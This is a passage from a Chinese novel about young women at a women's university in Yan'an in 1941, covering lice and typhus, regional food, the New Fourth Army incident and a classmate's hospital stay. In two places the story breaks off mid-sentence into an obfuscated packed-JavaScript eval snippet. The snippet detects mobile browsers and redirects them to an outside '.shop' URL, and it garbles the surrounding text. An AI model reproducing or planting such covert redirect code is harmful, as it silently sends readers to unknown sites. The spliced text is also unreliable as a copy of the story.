何敏修捋起棉袄的袖子,让她们看小臂上的红点点,有一些还抓破了。 熊晖看过了,咋着舌头说:“从前听说陕北这边的人,一辈子只洗三次澡,出生时一回,结婚时一回,死后装殓的时候是第三回,现在看来可能真的是这个样子呢。” 黄菲想象着当时的场景,也不由得感觉头皮发麻,有跳蚤啊,这样浑身发痒,还怎么睡觉?而且还要给人随便拿用自己的毛巾牙刷,毛巾也还罢了,牙刷给别人用过了,自己还怎样用呢?哪怕是用热水烫过,也仍然感觉恶心,在宿舍里,大家有时候会共用洗脸盆,自己还会暗暗地不高兴,好在同学们都有自己的牙刷,没有借用别人牙刷的习惯。 何敏修这时轻轻一笑:“虽然是艰苦,不过临出发的时候,领导告诫我,‘要深入群众,必须和群众打成一片,不能嫌脏,不要怕长虱子’,便把这些不耐烦都放在一边,和他们一起生活得久了,便发现其实都是勤劳、朴实的人,于是感觉到其美好。” 黄菲恍然大悟,重重地点头:“是啊,谢冰莹就说过的,她当年参加革命军,虽然遇到了从未经受过的困难,但是她却以为很是幸福呢。” 于是黄菲便朗声背诵那一段文字:“‘我们虽然是睡在地上,睡在草堆上如猪栏里的小猪一般,虽然蚊子咬出了我们的鲜血,虽然鸡尿牛粪染脏了我们的衣服,虽然有种闻所未闻的臭气塞住我们的鼻孔,虽然有些见所未见的污物摆在我们的面前,然而我们精神之乐,竟战胜了物质之苦。’” 何敏修微微含笑:“黄菲看来很喜欢谢女士的这本《从军日记》,我从前也读过的,很有意思的书。” 黄菲兴奋得两眼放光,真的是知音相见:“是的是的,我就爱读这本书,当初在家里,偶然从书房里翻出了这本旧书,那时候识字还不多,读得磕磕绊绊,就去央求母亲念来听,母亲给我从头到尾念过一遍,我听得好开心啊!那本书就再没送回书房,从此成了我一个人的,这些年时常拿出来看,差不多都能背下来。” 毕竟册子不厚,中间还有一些插图,这些年反反复复,反反复复地读,虽然没有刻意去记忆,然而相当多的段落都能够背诵,之前景斌曾经问她,最喜欢哪位作家,她回答是张恨水,那是真的,不过倘若景斌问她,最喜欢的是哪本书,她只怕就要答复,是《从军日记》。 只因为谢冰莹的书,她只读过这么一本,在她心目中,谢冰莹虽然传奇,但还不能称得上是自己最喜欢的作家,她只是格外爱这本书,还有谢冰莹的那一段经历,当初离开家,别的书都抛下了,唯独带了这一本,在西安八路军办事处,住在招待所里,那本书大家传着看,后来就不知传到哪里去了。 熊晖脸上一片好奇的神色,问起这本书,于是大家便讨论起谢冰莹的这本成名之作,十几年前的旧作,当年曾经名噪一时,这些年逐渐淡下去,文坛许多后起之秀,况且如今的时势,也不再是大革命的年代,尤其让何敏修感觉有点荒诞的,是谢冰莹这本书,其实是鼓吹国民党的,“咸宁满街都是我们的青天白日旗帜飘扬”,而更为讽刺的是,在那个时候,“反动派造谣‘共产共妻’”,也是说的国民党,而不是共产党,到后来国民党把这些污水都泼到了共产党的头上。 于是何敏修便说:“黄菲是不是从小就想当花木兰?” 这样一位民族女英雄,相对没有政治色彩,不涉及国共两党之争。 黄菲咯咯地笑:“花木兰自然是很让人敬仰的,另外我从小听洪宣娇的故事,那一位巾帼英雄太神奇了,我从小就很向往洪宣娇。” 太平天国那一场声势浩大的战争,自从民国鼎革之后,便不再给人当做是乱匪,而称呼为“革命”了,尤其在两广,更是为人津津乐道,洪秀全是广东人,而太平军揭竿而起则是在广西,距离桂林几百公里之外的桂平金田,像是父亲黄皓这样的人,虽然还把太平天国当做是“犯上作乱”,尤其是这些年共产党逐渐兴起来,他谈起洪秀全,更加没有好脸色,不过在市井乡村,那些种田的,织布的,女佣男工,闲着谈天的时候讲起太平天国,都是眉飞色舞,很是有味。 自己的乳母詹妈妈就曾经和自己讲:“当年的洪宣娇,萧王娘,天王的姐姐,骑着一匹枣红马,手中两把柳叶钢刀,挥起来好像落雪一样……” 当时听得自己心驰神往,花木兰的故事虽然传唱千古,毕竟年代久了,让人感觉仿佛只是一个传说,就如同女娲盘古一般,洪宣娇确实相当切近的人物,太平天国到现在,不到百年,许多故事依然是活生生的,那些人依然鲜活,好像就站在自己面前。 所以纵然父亲一再说:“洪宣娇是假的,不过是给人附会谣传,就好像苏三娘一样,仿佛神乎其神,其实本来是个很平常的乡下妇人,借着萧朝贵才为人传说。” 然而黄菲依然向往不已,有时候背着父亲,便向宁妈妈问起洪宣娇。 偏巧宁妈妈对这些故事也是熟悉得很,她乃是大户人家的女佣,见闻更开阔一层了,便绘声绘色地讲起杨秀清背信弃义,与洪宣娇冷淡了,又迷恋上傅善祥,洪宣娇愤恨不已,便联络了许多人,拥戴天王,杀死杨秀清。 黄菲耳朵里听着故事,头脑中设想着当时的场景,只觉得目眩神迷,好厉害的洪宣娇啊,自己将来并不奢求能够像她那样,成为一个掀起巨大风浪的人,只要可以成为一个女战士,也就很满足了。 见黄菲这样兴致勃勃地讲述洪宣娇,何敏修感觉很有趣,眼神中满是趣味地看着她,参加革命的女同志之中,以花木兰为榜样的并不少见,然而像是黄菲这样,受到洪宣娇激励的,倒很是新鲜,听着洪宣娇的故事,何敏修感到,自己身上给虱子咬过的地方也不再那么痒了。 又过了两天,一月十七号礼拜五的晚上,黄菲和几个同学坐在火炕上,热热闹闹地说着话: “这里的人真有意思,把‘我’称作‘饿’,说到‘我怎么怎么’,便是‘饿怎么怎么’。” “陕北的女孩子真是壮实呢,身体圆圆的,好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14344737|152646||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 像一个桶,嘻嘻嘻嘻嘻……” “这里可惜很少吃到白米,不过延安的馍很好吃,白面馍,很有嚼劲的,倘若能时常吃到这种馍,那也是很好的。” 黄菲猛点头,表示赞成:“陕北的馍真是好,虽然没有油,但很香,越嚼越香,有了这样的馍,我就很少想念桂林的米粉。” 起初真是不习惯,这里要么是小米,要么是馍,有馍吃就是改善伙食了。 陕北的馍其实是一种白面的发面饼,在铁锅里烙熟,不用加油的,烙到两面微微焦黄,就可以吃了,非常的劲道,吃馍的时候,用牙齿狠狠咬住,往下一撕,便扯下一块来,把那一小块馍就在口中细细地嚼,那一股麦香便渐渐地散发出来,虽然只是白面,不加任何调味料,然而却香得很,吃馍的时候倘若能有一碗羊肉汤,人便快活得仿佛飞到了天上,因此在逐渐习惯之后,延安的馍缓解了部分思乡之情。 其她人嘻嘻地笑,潘岳荣说道:“黄菲,总是听你提起家乡的米粉,我想那米粉纵然再鲜美,终究不过是米粉而已,哪里比得上我们苏州,一年四季那许多好吃的东西?” 苏州的菜肴茶食,那可是独步中国的,苏州人是顶懂得吃,也讲究吃,于是潘岳荣便将苏州的美食一样样报出来:鼠桂鱼、清汤鱼翅、响油鳝糊、西瓜鸡、母油整鸡、太湖莼菜汤、翡翠虾斗、松子糖,玫瑰瓜子,虾子酱油,枣泥麻饼…… 听得大家口水直流。 熊晖不甘落后,连忙说:“食在广东,我们广东的师傅最擅长烧菜……” 听她们一个个报菜名,黄菲感觉受到了轻视,在她们话语的缝隙之间赶忙插话:“你们不要小瞧我们桂林的米粉,那卤水可很是讲究的,要有花椒、八角、茴香、草果、丁香,好多好多的,单是我听人说过的,就有十几种材料,缺一样也不可以的,熬卤水很费功夫,加猪骨牛骨要熬几个时辰呢,另外还要加我们桂林的辣椒酱,把辣椒酱往煮好的米粉里那么一拌,那味道简直是天上地下没有东西能够比较,我们桂林人,一天也不能不吃米粉。” 陈露云歪靠在那里,笑得身上发颤:“晓得了,桂林的米粉是天下第一等的美味,等什么时候我们去广西,你请我们吃米粉。” 黄菲把胸脯一挺,拍着胸口说:“这个你放心,都包在我身上,等将来抗战胜利了,你们来桂林玩,我们要去漓江痛痛快快坐船看风景,还要吃桂林的米粉,我知道平乐有一家顶好的馆子,就在我家那条街的后面……” 黄菲的家乡,是桂林的平乐。 她们正在这里说着,忽然有人一推门冲了进来:“你们还在这里嘻嘻哈哈,□□背叛革命了,他说新四军‘叛乱’,要取消新四军的番号!” 黄菲转头一看,正是潘岳荣,她忙问道:“岳荣,你说的是真的吗?” 高明霖也说:“是啊,前几天只听说,安徽那边新四军和白军打得很激烈,但应该是当地的军阀,委员长想来并不知道,倘若委员长出面说话不要打了,当地的军阀总该给他一点面子,或许就没事了,莫非竟然是他安排的么?” 潘岳荣连连跺脚:“你怎么还如此天真?分明就是他布置的,现在全都明白了,连遮掩都不肯再遮掩一下,都是他的诡计,这个委员长,只顾了要对付共产党,根本不在乎正在侵略中国的日本人。我这是刚刚在教育长那里听来的消息,千真万确,你们很快就能看到了。” 这样一个消息,如同一桶冰水一般浇在了所有人的头上,登时大家都仿佛在这样的天气,下到冰窟窿里洗了一个彻骨冰冷的澡,纷纷你看看我,我看看你,片刻之后,仿佛头脑才苏醒过来,黄菲担忧地说:“不知道新四军里面的人都怎么样了,他们能冲得出去吗?” 熊晖也说:“这样岂不是便宜了日本人?落得给人家省了力气,倒是给鬼子帮了大忙。” 陈露云则一下子从炕上跳起来,赤着脚站在那里,张着两只手,不住转着头向左右望,张皇地问:“国军接下来要做什么?会不会打到延安来?我们在这里,有没有危险?” 她这几句话一说出来,其她人登时都向她投去了白眼,如今最为危急的是新四军的指战员,她远在延安,却只顾想着自己的安全。 7. 第七章 裂痕 第七章 裂痕 因为忽然之间发生了这样的事情,这一个春节,大家都没有心情去庆祝,二十六号除夕的时候,本应该最是欢喜热烈,然而此时却人人都提不起精神,都是心头沉甸甸,延安街头老百姓的鞭炮声,听在耳朵里也改变了味道。 同学们聚在一起议论: “□□真可耻,背信弃义!” “亲者痛,仇者快。” “‘千古奇冤,江南一叶;同室操戈,相煎何急’,周副主席说得真对啊。” 黄菲手里捏着筷子,望着面前的小米掺大米饭:“如今一想到‘国共合作饭’,我就觉得一阵恶心想呕。” 国共合作,多么美好啊,当时大家真的都是全心全意,哪知却是这样的结果呢?从前是有多真诚多热切,如今就有多失落,想来还是自己太天真,居然信以为真,而那边何曾当真呢?不过是欺骗利用罢了。 陈露云也是一脸焦急:“现在要离开延安,还走得成吗?” 其她人于是向她侧目而视。 黄菲差一点用手蒙起脸来,好丢人! 自从事变发生,露云已经不止一次说过这个话,在学校内说也就罢了,有时候到外面去,对着男同学男同志,她也要说,这是多么不好意思啊,让人以为女子不能革命,都是这样的胆小鬼,果然有一些男同志已经偷偷嘲笑起来了,他们那种轻视的眼神,实在让人难受,虽然不是在笑自己,可是自己脸上也是火辣辣。 露云怎么会想到这上面去呢?自从□□背叛统一战线,自己每天每夜想的都是那些英勇作战的英雄,他们冷吗?他们饿吗?他们受了伤,有人为他们医治吗?有人看护他们吗?面对重重围困的国民党军,他们的内心会是怎样的紧张与愤怒?他们会恐惧吗? 可是陈露云,她却一心在想这种时候能不能够离开延安。 一想到自己与这样的人同为奔向延安的女学生,向往革命的女爱国者,女子中的进步分子,中国最为觉悟的青年女性,黄菲就感到心里很不是滋味,仿佛是一种羞辱。 就在这样激愤的氛围之中,短暂的春节假日很快结束,女大重新开学了,生活重新变得紧凑起来,假期那短短的松散氛围很快便消散殆尽,黄菲每天抱着课本笔记簿,与同学们一起上课,课间大家便聚在一起,议论当前最要紧的事件,就是皖南事变,晚间在油灯下,黄菲用速记写着日记,如今她的速记技能愈发熟练了,几分钟便能写好一篇文字。 景斌曾经感叹:“我的笔跟不上我的头脑,脑子里想法很多,笔却往往来不及记下来,有时候一闪而过,便再也找不到了。” 黄菲则是少有这样的情形,她是心里想到什么,笔下就能写出什么,掌握了速记,便不很容易发生“来不及写”的状况,所以黄菲那一次听他这样诉苦,便笑着说:“等我再练得熟一些,你想到了什么,说给我,我就写下来给你。” 景斌笑道:“那么你就好像安娜·陀思妥耶夫斯卡娅,她就是一个很出色的速记员。” 黄菲是第一次听到这个名字,连忙便问:“那是谁?” 景斌给她说:“是陀思妥耶夫斯基的妻子。” 黄菲更加一头雾水:“陀思妥耶夫斯基又是谁?” “是俄罗斯一个很了不起的文学家,他在俄国文学界的地位,可以与托尔斯泰相比,我很喜欢他的《罪与罚》。” 黄菲登时就惭愧了,这么有名的一个作家,自己居然不知道,从前只听说过托尔斯泰,来到延安之后,还知道了高尔基,桂林纵然是粤西的名城,毕竟闭塞些,整个的广西,说起来总不脱蛮荒气象,所以在从前,但凡是对儿女学业用心的人,莫不把孩子送到广州去读书。 景斌并不像一般的热爱文学的青年,那么高深,那么严肃,他是很乐天的,总是乐呵呵,喜欢开玩笑,不过黄菲与他在一起,总是不知不觉间便有一种要低下头来的感觉,双方的学问实在差得太远,景斌是东北的流亡青年,来自哈尔滨,曾经在大学里修业,虽然没有读完,然而他的才学要高出自己许多,读过非常多的书,看问题也很有见解,时常就能提出新颖的想法,他的眼光也让人非常的佩服。 黄菲不是很喜欢广西的青年,毕竟她从小到大,看到的满眼都是男子的自傲,还有对女子的卑视,唯一的例外是她的哥哥,鼓励她投身革命,改变命运,所以当初一看到景斌这样一个东北学生,便感觉很是新奇,景斌带有北方人特有的爽朗,是个很明快的人,和他在一起,心境总是能够很晴朗,仿佛世上没有多少事值得忧愁,人也很淳朴善良,黄菲和他在一起,快活而又安心。 而且真的可以学到许多东西,景斌曾经学过俄文,所以他对俄国作品如数家珍,给黄菲介绍了许多俄国作家,引导她看《铁流》、《战争与和平》,《猎人笔记》、《静静的顿河》,还评价各部作品的特点。 苏联当代文学之中,景斌尤其喜欢《静静的顿河》,以为是一篇深沉古老的史诗,他尤其喜爱作品开篇那一首古歌: “我们光荣的土地不是用犁来翻耕…… 我们的土地用马蹄来翻耕, 光荣的土地上种的是哥萨克的头颅, 静静的顿河到处装点着年轻的寡妇……” 听到景斌用东北腔低声朗诵这首诗,他是那样的饱含感情,甚至眼里闪出泪光,一瞬间黄菲也感到一种荡气回肠,她有一种本能的直觉,景斌此时如此动情,不仅仅是为了他正沦陷于日寇铁蹄之下的东北故乡而悲叹,他是超越了个人的身世感情,为了人类一种广大的命运而慨叹。 大家正在聊着,忽然高明霖从外面走进来,带进一股冷风,进门便说:“你们听说了吗?敏修姐病了,已经送进了中央医院。” 黄菲一听,登时停了笔,抬起头来问道:“啊,是怎么回事?为什么忽然进医院的?” 熊晖则是道:“那一次我和黄菲去看她,就觉得她脸色不太好,果然是因为身体不舒服才回来的。” 高明霖点点头:“我听说她是发了几天的高热,起初还顶着,不肯去医院,到后来实在很危险了,同学们顾不得她的反对,把她送了过去。” 高明霖对何敏修很有好感,在她看来,何敏修是一个很有“政治觉悟”的人,比陕甘班、特别班的那些女同志要可亲可敬得多,那些同志并不是说就不好,但是高明霖总觉得,与她们有一层隔膜,不是很能接近。 起因是这样的,去年女大刚刚开学,一群女学生进了学校,便发现延安的学校果然与其她地方不同,要自己种菜,听说第二年春天还要开荒,当时一群十八九岁的女孩子便嘻嘻哈哈地每个人手里拿一把锄头,到菜田里面种白菜。 这样的日子过了几天之后,这一天到了工间休息的时候,十几个同学凑在一起闲聊,热热闹闹地说着出操,种菜,有乡村出身的同学便讲起从前养猪啦,养鸡啦,之类,大家听得很高兴。 忽然之间,那边一个差不多三十岁的女同志,大概是特别班的吧,叫做段葵芳的,冲着这边斜着眼睛,咧嘴笑起来:“嘿,学生小姐们,你们对放羊养鸡这些,觉得怎么样?” 一听她的口吻,这边潘岳荣几个人便有点尴尬,从前并没有接触过啊,然而倘若不回答,便显得自己这一方有些气短,高明霖大概是想着“输人不输阵”,琢磨了一下,便勉强说道:“啊……羊啊狗啊……都很可爱的。” 那边登时哄笑起来,段葵芳更是从鼻孔里发出一声嗤笑:“人家累得要死,你还当做可爱。” 真的是大小姐本色,她的神情显然便是如此。 这个时候,令所有人意想不到的是,看起来最为纤弱的黄菲居然挺身而出,扬着头说:“我晓得,这些我都做过的,我们在乡下,拾柴禾,套兔子,打猪草,捡鸡蛋……” 娓娓道来,说得头头是道,“牛粪羊粪不发好会烧根”,连段葵芳都渐渐收起了轻视的神色,这小姑娘讲的居然都是对的,高明霖则更是在心中给她暗暗鼓掌,太棒了! 此时何敏修笑着说了一句:“大家都是革命同志,何必计较高低?各自为革命尽心尽力,便是好的,我们来到学校,就是要互相学习,该学习劳动就学习劳动,需要学文化呢,就学习文化。” 高明霖陈露云这一帮资产阶级小资产阶级的小姐,是需要补习劳动课,然而工农出身的女同志,则多数需要加紧文化课的学习,比如段葵芳,大字不识几个呢,一到要学写字,就掐着脑仁嚷头疼,是出了名的了。 高明霖在一旁兴奋得连连点头,这件事便算过去了,各人仿佛都没有在意,只是从此以后,高明霖愈发事事要强,她本来便颇为好强,否则也不会抛弃家中优裕的生活,来延安参加革命,打那以后,更是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14344738|152646||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 凡事争先,不肯落人后,无论是哪一科的学习,都要抢在前面,纺线也很快便熟练了,粗细很是均匀,还悄悄向黄菲打听应该怎样种菜,摩拳擦掌,只等明年春天大开荒。 另外高明霖也十分佩服何敏修,看看人家,就是有水平,说出来的话句句都能服人,本来么,都是来革命的,从前深受封建主义的压迫,谁瞧不起谁么!自己不过就是劳动上差了一点,学一学就会了,“世上无难事,只怕有心人”,就不信铲地放羊这些事自己不行! 于是一群女孩子便七嘴八舌议论起来: “啊呀这可真糟糕,我们明天课后去看看她吧!” “该拿一点什么东西过去好呢?” “我们凑一点钱,买几斤鸡蛋拿去给她补身体吧。” 麻德芳最是懂得生活,向来如同小妈妈一样,这时忙出主意道:“是啊是啊,鸡蛋羹容易消化,病人吃了好。” 黄菲自告奋勇:“我这里有钱,家里上一次寄来的钱,还剩有许多。” 所以这一阵花起钱来,颇有一点大手大脚,何况此时是敬爱的敏修姐病了,当然更加不在意钱。 这时候陈露云吃吃地笑:“你们发梦么?这个时候的延安,哪里会有鸡蛋?” 虽然过了除夕,已经进入正月,按江南的道理,便是春季了,然而在延安,却还是天寒地冻,延安的冬天是没有鸡蛋的。 当天晚上商量妥当之后,到了第二天下午,功课都结束了,同宿舍的几个人便在校门口碰头,呼啦啦涌出了女大,先是到街市上买了一点东西,很贵的砂糖,还有一点白面,在袋子里装好,便一路走去中央医院,预备到了那里,拜托护士同志煮给她吃。 路上还议论着: “延安点东西,是这样的贵。” “倘若看人家是不懂的呢,干脆拿坏的给你,要么就是要很高的价。” “所以说,‘无商不奸’。” “这里街边卖菜卖果的,许多都是农友呢。” 陈露云撇了撇嘴:“东西好不好的,还在其次,这里的人说起话来,很蛮横的,在阿拉上海,倘若这样说话,做不成生意的,店铺都要倒掉。” 黄菲抿嘴笑了一笑,要说延安的商人,尤其那些农友,和他们讨价还价,是很为难的,倒也未必怎样蛮横,只是让人感觉有些强硬,倘若还价稍稍多了一点,甚至有的时候只为还价这件事本身,便遭到拒绝,“不卖了!” 起初,黄菲是感到很有些委屈,又有一点气恼,简直想要哭起来,只为了他们有东西卖,便这样么?过了一阵,黄菲又想,这大概便是延安人的淳朴吧,不肯拐弯抹角讨好人,桂林城里的商人,倒是满脸笑容,客客气气的,却也不过是为了客人口袋里的钱罢了,哪里是本来的性格呢?心里不知在怎样的咒骂,怨客人太过挑剔,像是延安的生意人这样,直接便说“不卖”,可能倒是更爽直一些,这样纯真的性格啊! 就好像谢冰莹说的:“我见了他们朴质的土布衣服,我就恨了城市中的奢华;我见了他们那种忠实诚恳的态度,我就想起城里人的欺骗狡猾可怕。” 于是黄菲便又感觉到延安商人的可爱。 临近黄昏的时候,她们来到了中央医院,进门便问起何敏修的病情,一位护士向她们解说:“是伤寒,打了针,刚略有些退烧。” 高明霖说:“我们要看一看她,可以吗?” 护士点头:“可以的,离远一些,不要靠近,还有,病人不能多说话,你们看看就走吧,病房里也要保持安静。” 几个人答应了,便寻着何敏修的病房,轻轻推开门,果然看到何敏修如同一段树枝般,直直地躺在床上,闭着两只眼睛,面色蜡黄,是那样恹恹的,让人一看,一颗心便沉下去,一瞬间竟然担心她再不能醒过来。 黄菲与几个同学站得离病床二尺远,轻轻地呼唤:“敏修姐,敏修姐,你好点了吗?” 过了片刻,何敏修微微挑起眼皮,看到了她们,便勉力将眼睛更加睁大一点:“啊,你们来了。” 黄菲道:“敏修姐,你感觉怎么样?” “好点了。” 高明霖不由得跺脚:“怎么会忽然得了这样的病?” 何敏修苦笑一下:“虱子。” 虽然只是短短两个字,可是大家立刻全都明白了,是虱子传播了伤寒。 8. 第八章 什么人会离开延安? 第八章 什么人会离开延安? 这一天探望何敏修回来,第二天几个人就去了附近旅馆洗浴,洗的时间格外的久,格外的彻底,是大约三四点的时候过去的,到了傍晚时候,才终于从旅馆的大门走出来。 走在已经开始些微融雪的泥泞的路上,大家又聊起来: “这一回总算是洗得干净了,我觉得身上的皮都搓掉了一层。” “我也是,这才感觉安心了,身上绝不会有虱子跳蚤。” “说起来有点对不起敏修姐,昨天去看了她回来,就觉得身上有些发痒,总以为是蹦了跳蚤在我身上。” 虽然何敏修自从进了医院,已经换过了衣服,身上更是仔细清洁过一番,应该是已经没有这些小虫子在身体上,然而由于她是因为这个而发病住院,所以大家去探病一番回来,便总觉得身上有一点痒痒的,虽然解开衣服翻捡,并没有看到黑黑的小虫,然而莫名其妙就是不舒服,所以今天一定要来洗澡。 说到跳蚤虱子,黄菲来到延安之后,见识得可是不少了,简直成群结队,从前在故乡,哪里见过呢?不要说她后来去到父亲的家中,即使幼年时候在詹妈妈那里,身上也是不起跳蚤的,然而在延安,虱子跳蚤这一类虫简直无孔不入,称王称霸,倘若稍不留意,便要给咬得睡不着觉。 这倒也并不是说延安的卫生条件便多么的恶劣,家乡又是多么的干净,根源其实在于,这一片黄土地极端缺水。 水在这里,真的是宝贵啊,黄菲在来延安的路上,坐在卡车里放眼四望,也看到了,浩瀚的黄色平原上,一条条深深的沟壑,仿佛给巨大的刀锋切割出来的,然而里面却全不见水,就只是黄沙,使得黄菲头脑中发生了一种想象,那就是这些深沟其实是因为漫长而严峻的干旱,而开裂成这样,就好像大地皮肤上裂开的伤口。 在那个时候,还想不到洗澡的问题,这个难题是到了延安之后,真正生活在这里,才需要面对的,比起边区其她地方,延安毕竟还是好的,有一条延河流过,想来也是很容易理解,倘若没有这样一条河,怎么能聚集起这许多的人?对于一个城市来讲,没有一个像样子的水源,是不能够维持的,尤其女大还是在延河边上,所以夏天很方便下河洗澡,到了冬天,便可以去澡堂。 这是黄菲有时候想一想,便感觉有些心虚的,虽然立志投身革命,下定决心勇敢面对任何艰苦,不过直到如今,自己这爱清洁的癖性还是不能改,对于卫生,总有一种挑剔,这实在是有点太过“小资产阶级”了,倘若给段葵芳知道,只怕是要笑的,长征之中哪里能够讲得了那么多呢?还洗热水澡,还要到旅馆澡堂洗热水澡,打肥皂,难免又要给人当做是“娇小姐”了。 不过虽然有心克服这样的“娇滴滴”,黄菲却还是以为,目下尽量保持以往的习惯还是有理由的,还很不到需要自己满身虱子的时候,虱子臭虫爬得人身上痒,难以集中精神学习啊,将来等到自己上了前线,伏在战壕里,浑身都是硝烟泥土,自然说不到这些,到那时自己一定会适应的,不过暂时还是让旧日的影子在自己身上多停留一阵吧,虽然这样的想法有一点“得过且过”,不过黄菲想着,眼前还是先如此吧。 这一次去中央医院探病,何敏修那憔悴虚弱的样子,让黄菲发生了深深的触动,身上生虱子不仅仅是不舒服的问题,那是可能要命的,小的时候,黄菲便看到过有人因为伤寒病而死,那是詹妈妈的同村人,一个很壮健的男人,等她长大一些,读鲁迅的《祝福》,里面的那个山村中的男人如此强悍,却断送在了伤寒上,幼年看到的场景便恍然回到眼前,那一家办丧事,女人一身麻衣地哭。 又过了半个月,时间进入了三月,月初国民政府召开了国民参政会第二届会议,在各界强大的压力之下,□□在会上表示,“以后再亦决无剿共的军事”,事情到了这个时候,总算是表面上缓和下来,在延安的许多人都稍稍松了一口气,只等□□放人,许多被俘的新四军都承诺要释放的。 眼看这件事似乎已经过去,陈露云的心情也轻松起来,每天又是又说又笑了,而且也很少再提到离开延安。 陈露云这样的想法,让黄菲感觉很是奇怪,怎么会有人想要离开延安?她来到延安大半年时间,看到的奔向这里的人当然是不少,不过也确实有人离去,有的时候就听到人家说,“某某人回去了”,回去哪里?自然是回到外面那个腐化堕落的世界,至于是什么原因呢?有的是终究忍受不了延安的清苦,也有的人是以为,没有在这里找到自己的理想,黄菲曾经听人说过,“延安并不是像我想的那样,我在这里,不能找到自己想要的”,所以那个人就离开了。 黄菲就觉得很不能理解,为什么要离开呢?在自己看来,延安是中国,甚至是全世界最光明,最圣洁的地方,自己所需要的一切都在这里,在延安,自己感到无比的幸福。 要说延安的生活,其实并不是多么的舒适美好,陕西气候干燥,黄土高原尤其如此,黄菲自幼生长在空气湿润的桂林,对于延安这样的环境,一时间不是很能习惯,特别是到了冬天,脸上简直要干裂开来,嘴唇也总是脱皮,有时候还要渗出血丝。 不过对于她来讲,这些都不是很大的困扰,她爱延安,爱这里的自由与希望,这才是最重要的,延安那强大的魅力,在于她的精神,她的追求,因此,黄菲热爱这里的天,这里的云,这里的风,这里的黄沙,她简直爱延安的一切! 在黄菲眼里,陕北的风景也有一种别样的魅力,站在一望无际的平原上,举目望向远方,便可以想见“大漠孤烟直,长河落日圆”,就是这样一幅壮阔的画面啊,黄土高原,美得惊心动魄,那是桂林温润的山水比不上的,虽然也可以称为奇秀了,然而在黄菲看来,纵然再怎样巧妙,终究显得有一点小家子气,就好像一些诗词,雕琢得确实字句精美,然而那一种局促的气息却是挥之不去的,是脆弱文人特有的神经质,让人心胸不得舒展,黄土高原才是真正的恢弘大气,是一种亘古永恒。 所以她简直不能设想有人居然要离开延安,假如有一天自己离开了这黄金的乐园,那一定是非常痛苦的,实在难以想象是在怎么样的情况下,自己会远别了延安。 伤寒从二月一直延续到三月,还不见有消失的迹象,好在何敏修终于痊愈出院了。 三月八号这一天是礼拜六,黄菲中午散了课,饭也顾不得吃,急急地赶到图书室,去寻找《中国妇女》,这本杂志一般是每个月出两期,一号出一期,八号出第二期,今天正是出版的日子,黄菲向来是先睹为快,所以便匆匆赶来这里。 到了图书室,在惯常的地方一找,果然那一本崭新的《中国妇女》静静地躺在书架上,还散发着油印的清香,黄菲大喜过望,伸出手臂如同一只饿鹰,一把便抓在手里,又另外找了两本书,办理了手续之后,兴冲冲便回了窑洞,坐在炕上便翻开杂志,读了起来,《一年来抗日根据地的妇女生产运动》,作者是郭淑真。 黄菲一边读,一边拍着大腿,真好,妇女生产,妇女就是要从事生产劳动啊,这样才能够自食其力,就比如说自己,从小便看到母亲在父亲的家中受尽委屈,非常的愤慨,在十四岁那一年,曾经和母亲说要反封建家庭,将来和母亲一起独立出去住,再不受这个气了,母亲当时叹一口气,说:“你以后能顾好你自己就行了,不要管我。” 母亲虽然没有明说,但是黄菲心里明白,妈妈的意思显然就是,“你日后还不知去哪里找饭碗,那里还管得了我?我同着你一起搬出去,只怕娘两个一起饿死”。 说起女子职业,母亲总是看得特别艰难,“自立自强是好事,只要别累死自己”,然后便要说到嫁人,“依靠丈夫,诚然是寄人篱下,低人一等,不过毕竟还算有个指望,倘若失掉了这个,更加为难”。 听母亲说这样丧气话,黄菲满心不能甘愿,愈发的愤懑:“我就不信,男子生来就金贵,女子天生就贱,妈,我一定要挣出一条路来给你看看。” 从此更是发奋立志,在胸中翻涌着一股气。 来到延安之后,看到这里在组织妇女生产,黄菲心里鼓了一万次掌,这一下可好了,妇女能纺织能种田,自己就能养活自己,再不用看人脸色了,所以虽然是学业紧张,黄菲也积极投入到生产中去,自己种出来的白菜,味道是不一样的。 这时候其她人回来了,熊晖给她带来一个馍,黄菲一边啃馍,一边继续看,要快一点看完,已经答应了自己读完之后,要给其她人读的,然而她看着看着,翻到了最后一篇文章,是告别的终刊感言,这一期的杂志,就是《中国妇女》的最后一期。 黄菲登时便有些懵了,为什么会这样呢 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不过没多久,这件事终究是给大家都知道了,消息传得特别快,不到两三天的时间,女大的许多学生就都晓得了,中午聚在一起吃饭的时候,同学们说话,便要提到这件事: “啊呀,《中国妇女》以后不出了啊,那我要看什么呢?” “是啊是啊,就喜欢看这本书,每个月眼巴巴地盼着,每次拿到了新书,欢喜得好像是过节,可是今后却不再出了,让人没得看。” 说这几句话的是段葵芳,虽然识字不多,但是段葵芳也爱看《中国妇女》,以为很是有趣,自从她认字多了,每期一出来,就抢着看,还跟着杂志上的文章学认字,为了看《中国妇女》,识字课不再那样吃力,□□夸奖,“开窍了啊!” 